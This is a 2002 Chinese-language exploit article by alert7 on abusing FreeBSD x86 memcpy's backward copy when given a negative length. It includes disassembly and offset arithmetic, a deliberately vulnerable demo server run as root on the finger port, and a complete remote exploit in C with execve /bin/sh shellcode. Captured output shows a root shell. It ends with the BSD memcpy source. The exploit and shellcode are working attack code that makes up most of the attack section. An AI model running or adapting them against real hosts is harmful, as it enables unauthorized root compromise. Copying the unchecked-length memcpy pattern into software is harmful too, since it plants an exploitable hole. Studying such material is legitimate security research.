*bsd x86 memcpy exploit tips by alert7 < alert7@xfocus.org > 主页: http://www.xfocus.org/ http://www.whitecell.org/ 2002-6-25 -------------------------------------------------------------------- 本文原贴于xfocus和whitecell的内部版 watercloud建议我可以看freebsd memcpy的源程序,一是我写这篇文章的时候,当前没有 找到memcpy的src,二是要总结出象公式一样模版的话,还是看asm的来的更确切。虽然看起来 比较累。 最后我附上了watercloud兄的一个不算疑问的疑问并且附上freebsd memcpy的src -------------------------------------------------------------------- 讨论以x86 freebsd为蓝本,其他x86的BSD如netbsd,openbsd雷同 先来看看freebsd 4.5下的memcpy的汇编代码实现 (gdb) disass memcpy Dump of assembler code for function memcpy: 0x28163ba8 : push %esi 0x28163ba9 : push %edi 0x28163baa : mov 0xc(%esp,1),%edi 0x28163bae : mov 0x10(%esp,1),%esi 0x28163bb2 : mov 0x14(%esp,1),%ecx 0x28163bb6 : mov %edi,%eax 0x28163bb8 : sub %esi,%eax 0x28163bba : cmp %ecx,%eax 0x28163bbc : jb 0x28163bd4 0x28163bbe : cld 0x28163bbf : shr $0x2,%ecx 0x28163bc2 : repz movsl %ds:(%esi),%es:(%edi) 0x28163bc4 : mov 0x14(%esp,1),%ecx 0x28163bc8 : and $0x3,%ecx 0x28163bcb : repz movsb %ds:(%esi),%es:(%edi) 0x28163bcd : mov 0xc(%esp,1),%eax 0x28163bd1 : pop %edi 0x28163bd2 : pop %esi 0x28163bd3 : ret 0x28163bd4 : add %ecx,%edi 0x28163bd6 : add %ecx,%esi 0x28163bd8 : std 0x28163bd9 : and $0x3,%ecx 0x28163bdc : dec %edi 0x28163bdd : dec %esi 0x28163bde : repz movsb %ds:(%esi),%es:(%edi) 0x28163be0 : mov 0x14(%esp,1),%ecx 0x28163be4 : shr $0x2,%ecx 0x28163be7 : sub $0x3,%esi 0x28163bea : sub $0x3,%edi 0x28163bed : repz movsl %ds:(%esi),%es:(%edi) 0x28163bef : mov 0xc(%esp,1),%eax 0x28163bf3 : pop %edi 0x28163bf4 : pop %esi 0x28163bf5 : cld 0x28163bf6 : ret 0x28163bf7 : nop 0x28163bf8 : and $0x46,%al 0x28163bfa : jb 0x28163c61 0x28163bfc : gs 0x28163bfd : inc %edx 0x28163bfe : push %ebx 0x28163bff : inc %esp 0x28163c00 : cmp (%eax),%ah 0x28163c02 : jae 0x28163c76 0x28163c04 : arpl %bp,(%edi) 0x28163c06 : insb (%dx),%es:(%edi) 0x28163c07 : imul $0x6362696c,0x2f(%edx),%esp 0x28163c0e : das 0x28163c0f : imul $0x732f3638,(%ebx),%esi 0x28163c15 : jns 0x28163c8a 0x28163c17 : das 0x28163c18 : bound %esi,0x6b(%edx) 0x28163c1b : cs 0x28163c1c : push %ebx 0x28163c1d : sub $0x76,%al 0x28163c1f : and %dh,(%ecx) 0x28163c21 : cs 0x28163c22 : aaa 0x28163c23 : and %dh,(%ecx) 0x28163c25 : cmp %edi,(%ecx) 0x28163c27 : cmp %ebp,(%edi) 0x28163c29 : xor %bh,(%eax) 0x28163c2b : das 0x28163c2c : xor (%edi),%dh 0x28163c2e : and %dh,(%edx) 0x28163c30 : xor (%edx),%edi 0x28163c32 : xor $0x38333a39,%eax 0x28163c37 : and %dh,0x65(%eax) 0x28163c3a : je 0x28163ca1 0x28163c3c : jb 0x28163c5e 0x28163c3e : inc %ebp 0x28163c3f : js 0x28163cb1 0x28163c41 : and %ah,(%eax,%eax,1) memcpy(void *dst, const void *src, size_t len) ; *bsd系统特性 假如(dst - src): add %ecx,%edi 0x28163bd6 : add %ecx,%esi 0x28163bd8 : std 0x28163bd9 : and $0x3,%ecx 0x28163bdc : dec %edi 0x28163bdd : dec %esi 0x28163bde : repz movsb %ds:(%esi),%es:(%edi)//这里把ecx变成( ecx>>((ecx&3)*8)),使要拷贝的长度变小 //本身运行ecx&3次 这里相当于memcpy( (edi+ecx)-(ecx&3)-1,(esi+ecx)-(ecx&3)-1 ,ecx&3 ) 0x28163be0 : mov 0x14(%esp,1),%ecx 0x28163be4 : shr $0x2,%ecx 0x28163be7 : sub $0x3,%esi 0x28163bea : sub $0x3,%edi 0x28163bed : repz movsl %ds:(%esi),%es:(%edi) movebites = (ecx&3)*8; 这里相当于memcpy( (edi+ecx)-(ecx&3)-1-3-( ((ecx<>movebites )>>2)*4,(esi+ecx)-(ecx&3)-1-3-( ((ecx<>movebites )>>2)*4, ( ((ecx<>movebites )>>2)*4 ) 0x28163bef : mov 0xc(%esp,1),%eax 0x28163bf3 : pop %edi 0x28163bf4 : pop %esi 0x28163bf5 : cld 0x28163bf6 : ret #define DISTANCE 12 该值在特定版本的*bsd memcpy实现是固定的。 是memcpy的参数len存放地址和memcpy返回地址存放地址距离之差。 从上面看到: (edi+ecx)-1是要开始覆盖的地址,覆盖的字节数为ecx&3 1 假如ecx&3为1,(edi+ecx)-1需要覆盖len最后一位。接下来最大的拷贝为0xffffff可能会dump掉。 1-ecx = (DEST - RETLOC ) -DISTANCE - 3 可算出ecx,还要看是否满足ecx&3 ?= 1 2 假如ecx&3为2,(edi+ecx)-1需要覆盖len最后两位。接下来最大的拷贝为0xffff,应该不会dump了。 1-ecx = (DEST - RETLOC ) -DISTANCE - 3 可算出ecx,还要看是否满足ecx&3 ?= 2 3 假如ecx&3为2,(edi+ecx)-1需要覆盖len最后一位和后面一位。接下来最大的拷贝为0xffff,应该不会dump了。 1-ecx = (DEST - RETLOC ) -DISTANCE-4 可算出ecx,还要看是否满足ecx&3 ?= 2 4 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后三位。接下来最大的拷贝为0xff。 1-ecx =(DEST - RETLOC ) -DISTANCE-3 可算出ecx,还要看是否满足ecx&3 ?= 3 5 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后两位。接下来最大的拷贝为0xffff。应该不会dump了。 1-ecx =(DEST - RETLOC ) -DISTANCE-4 可算出ecx,还要看是否满足ecx&3 ?= 3 6 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后一位。接下来最大的拷贝为0xffffff。可能会dump掉。 1-ecx =(DEST - RETLOC ) -DISTANCE-5 可算出ecx,还要看是否满足ecx&3 ?= 3 对于给定的DEST,RETLOC,DISTANCE三个值的时候,ECX也有可能都无解。 CASE取值如下: switch (上列情况之){ 1: 2: 4: CASE=3;break; 3: 5: CASE =4;break; 6: CASE =5;break; } memcpy len参数地址为: (edi+ecx)-1-CASE也就是RETLOC+DISTANCE 所以,我们如果需要重新修改memcpy len参数大小的话,那么就应该在 esi+ecx -1, esi+ecx-2 ,esi+ecx-3这几个地址安排适当的值,以使参数len变小。 以确保进程不DUMP掉。 所以应该在SRC +ecx-1,SRC+ecx -2,SRC+ecx-3这三个地址安排适当的值,一般安排为\0. 确定了memcpy参数len地址为(edi+ecx)-1-CASE 那么memcpy RETLOC地址为(edi+ecx)-1-CASE - DISTANCE 所以应该在SRC+ecx -1 -CASE - DISTANCE的地址安排一个值,作为EIP返回。 好了,现在已经分析的差不多了 在*BSD系列上 memcpy(void *dst, const void *src, size_t len) 当len传入是负数的话,所执行的相当于如下操作 memcpy( dst+ecx-1-(ecx&3),src+ecx-1-(ecx&3) ,ecx&3 );覆盖len参数的某几个字节 movebites = (ecx&3)*8; 这里相当于memcpy( (dst+ecx)-(ecx&3)-1-3-( ((ecx<>movebites )>>2)*4,(src+ecx)-(ecx&3)-1-3-( ((ecx<>movebites )>>2)*4, ( ((ecx<>movebites )>>2)*4 ) 好了,探讨分析就到这里吧 下面看个实例吧 /* * vul.c * *bsd memcpy bug demo write by alert7 on freebsd 4.3 * 2002.6.25 */ #define BUFSIZE 1024 int main(int argc,char ** argv) { char buf[BUFSIZE]; char buf1[BUFSIZE]; char buf2[BUFSIZE]; int i; i=read(0,buf1,BUFSIZE); i=read(0,buf2,BUFSIZE); buf2[i]=0; i = atoi(buf2); memcpy(buf2-1,buf,i); exit(0); } bash-2.05a# gcc -o vul vul.c -g -ggdb 把该程序安装在79 port bash-2.05a# cat /etc/inetd.conf |grep finger finger stream tcp nowait root /root/vul vul /* exp.c exploit for vul.c * *bsd memcpy bug demo write by alert7 on freebsd 4.3 * 2002.6.25 */ #include #include #include #include #include #include #include #include #include #include #include #define DEST 0xbfbff043//0xbfbfeee9 #define SRC 0xbfbff844//0xbfbff6e8 #define DISTANCE 12 #define RETLOC (0xbfbff010+8)//(0xbfbfeeb4+8) /*对于特定系统下的的特性程序,DEST,SRC,RETLOC之间的关系是一定的,只要知道其中一个,就可以知道其他的*/ char shell[]= "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89" "\x4e\x08\x89\x46\x0c\x8d\x4e\x08" "\x50\x51\x56\x50\xb0\x3b\xcd\x80" "\xe8\xe5\xff\xff\xff/bin/sh"; #define BUFSIZE 1024 #define NOP 'A' #define EXPLOIT_TIMEOUT 5 int main(int argc,char **argv) { char buff[BUFSIZE]; char ecxbuf[10]; int i,ECX; int OK=0,CASE=0; int sock; struct sockaddr_in sin; int portp = 79; unsigned int retaddr; int i1,i2,i3; ECX = 1-( (DEST - RETLOC ) -DISTANCE-3); if ((ECX & 3)==3) OK =4; if ((ECX & 3)==2) OK =2; if ((ECX & 3)==1) OK =1; if (OK==0) { ECX = 1-( (DEST - RETLOC ) -DISTANCE-4); if ((ECX & 3)==3) OK =5; if ((ECX & 3)==2) OK =3; } if (OK==0) { ECX = 1-( (DEST - RETLOC ) -DISTANCE-5); if ((ECX & 3)==3) OK =6; } switch (OK) { case 1: case 2: case 4: CASE = 3; break; case 3: case 5: CASE = 4; break; case 6: CASE = 5; break; default: break; } printf("ECX %p DEST %p SRC %p RETLOC %p\nDISTANCE %p CASE %d OK %d\n",ECX,DEST,SRC,RETLOC,DISTANCE,CASE,OK); i1=SRC; i2=DEST; i3=ECX; if ( (i2 - i1) > i3) OK =0; if (OK ==0) { printf("该exploit不能利用这种情况\n如果您知道,请跟我联系< email:alert7@xfocus.org >\n"); exit(0); } if (argc!=2) { printf("usage:%s ip\n",argv[0]); exit(0); } sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_port = htons(portp); if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) { perror("connect()"); exit(1); } printf("connected!\n"); memset(buff,NOP,BUFSIZE); memcpy(buff+BUFSIZE/2,shell,sizeof(shell) ); sprintf(ecxbuf,"%d",ECX); /*SRC+ecx -1 -CASE-DISTANCE *安装EIP */ retaddr = SRC-(0xbfbfeb38-0xbfbfe738); printf("use retaddr %p\n",retaddr); *(int *)&buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 1-CASE-DISTANCE]=retaddr; /* (gdb) p &buf $1 = (char (*)[1024]) 0xbfbfeb38 (gdb) p &buf1 $2 = (char (*)[1024]) 0xbfbfe738 (gdb) p &buf2 $3 = (char (*)[1024]) 0xbfbfe338 */ /* *安装\0 */ buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 1]=0; buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 2]=0; buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 3]=0; write(sock,buff,BUFSIZE); sleep(1); write(sock,ecxbuf,strlen(ecxbuf)+1); sleep(2); write(sock, "uname -a;id\n", strlen("uname -a;id\n")); while (1) { fd_set fds; int n; struct timeval tv; char buf[1024]; tv.tv_sec = EXPLOIT_TIMEOUT; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds); memset(buf, 0, sizeof(buf)); if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) { if(FD_ISSET(sock, &fds)) { if((n = read(sock, buf, sizeof(buf) - 1)) <= 0) break; write(1, buf, n); } if(FD_ISSET(0, &fds)) { if((n = read(0, buf, sizeof(buf) - 1)) < 0) exit(1); write(sock, buf, n); } }//end select }//end while } $ ./exp.exe 192.168.168.124 ECX 0xffffffe5 DEST 0xbfbff043 SRC 0xbfbff844 RETLOC 0xbfbff018 DISTANCE 0xc CASE 3 OK 1 connected! use retaddr 0xbfbff444 FreeBSD vm-free.alert7.com 4.3-RELEASE FreeBSD 4.3-RELEASE #0: Thu Jul 19 0 8:16:38 CST 2001 root@vm-free.alert7.com:/usr/src/sys/compile/alert7 i386 uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator),20(staff), 31(guest) OK,成功了~ ---------------------------------------------- 附: BSD的memcpy我觉得体系上并没有问题,只是其为了实现快速拷贝 引入的对齐和为了处理目标覆盖源而引入的反向拷贝有时可 能会被攻击一些软件自身漏洞时利用,如那个Apache 。 主要的一个是register定义的变量编译时没有被优化到寄存器中!奇怪! 个人的愚见! ----- watercloud 附memcpy源程序 From FreeBSD4.5 /*- * Copyright (c) 1990, 1993 * The Regents of the University of California. All rights reserved. * * This code is derived from software contributed to Berkeley by * Chris Torek. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)bcopy.c 8.1 (Berkeley) 6/4/93"; #endif /* LIBC_SCCS and not lint */ #ifndef lint static const char rcsid[] = "$FreeBSD: src/lib/libc/string/bcopy.c,v 1.1.1.1.14.1 2001/07/09 23:30:03 obrien Exp $"; #endif #include #include /* * sizeof(word) MUST BE A POWER OF TWO * SO THAT wmask BELOW IS ALL ONES */ typedef int word; /* "word" used for optimal copy speed */ #define wsize sizeof(word) #define wmask (wsize - 1) /* * Copy a block of memory, handling overlap. * This is the routine that actually implements * (the portable versions of) bcopy, memcpy, and memmove. */ #ifdef MEMCOPY void * memcpy(dst0, src0, length) #else #ifdef MEMMOVE void * memmove(dst0, src0, length) #else void bcopy(src0, dst0, length) #endif #endif void *dst0; const void *src0; register size_t length; { register char *dst = dst0; register const char *src = src0; register size_t t; if (length == 0 || dst == src) /* nothing to do */ goto done; /* * Macros: loop-t-times; and loop-t-times, t>0 */ #define TLOOP(s) if (t) TLOOP1(s) #define TLOOP1(s) do { s; } while (--t) if ((unsigned long)dst < (unsigned long)src) { /* * Copy forward. */ t = (int)src; /* only need low bits */ if ((t | (int)dst) & wmask) { /* * Try to align operands. This cannot be done * unless the low bits match. */ if ((t ^ (int)dst) & wmask || length < wsize) t = length; else t = wsize - (t & wmask); length -= t; TLOOP1(*dst++ = *src++); } /* * Copy whole words, then mop up any trailing bytes. */ t = length / wsize; TLOOP(*(word *)dst = *(word *)src; src += wsize; dst += wsize); t = length & wmask; TLOOP(*dst++ = *src++); } else { /* * Copy backwards. Otherwise essentially the same. * Alignment works as before, except that it takes * (t&wmask) bytes to align, not wsize-(t&wmask). */ src += length; dst += length; t = (int)src; if ((t | (int)dst) & wmask) { if ((t ^ (int)dst) & wmask || length <= wsize) t = length; else t &= wmask; length -= t; TLOOP1(*--dst = *--src); } t = length / wsize; TLOOP(src -= wsize; dst -= wsize; *(word *)dst = *(word *)src); t = length & wmask; TLOOP(*--dst = *--src); } done: #if defined(MEMCOPY) || defined(MEMMOVE) return (dst0); #else return; #endif }